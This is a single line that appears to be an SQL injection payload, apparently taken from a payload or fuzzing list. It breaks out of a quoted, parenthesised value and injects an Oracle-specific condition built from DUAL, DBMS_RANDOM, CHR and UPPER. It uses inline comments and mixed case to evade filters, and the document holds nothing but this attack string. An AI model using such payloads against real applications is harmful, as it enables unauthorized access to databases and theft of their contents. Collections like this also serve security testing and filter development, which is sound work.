1") WHERE 1899=1899AND/**/5221=(SelECt/**/UPPeR(CHr(126)||%27~%27||(sELEct/**/(Case/**/WHEN/**/(5221=5221)/**/then/**/1/**/eLsE/**/0/**/enD)/**/From/**/dUaL)||%27~%27||cHR(126))/**/froM/**/DuAL/**/wHERe/**/DbMS_RANDOm.vAlue(4891,5019)=5055)-- -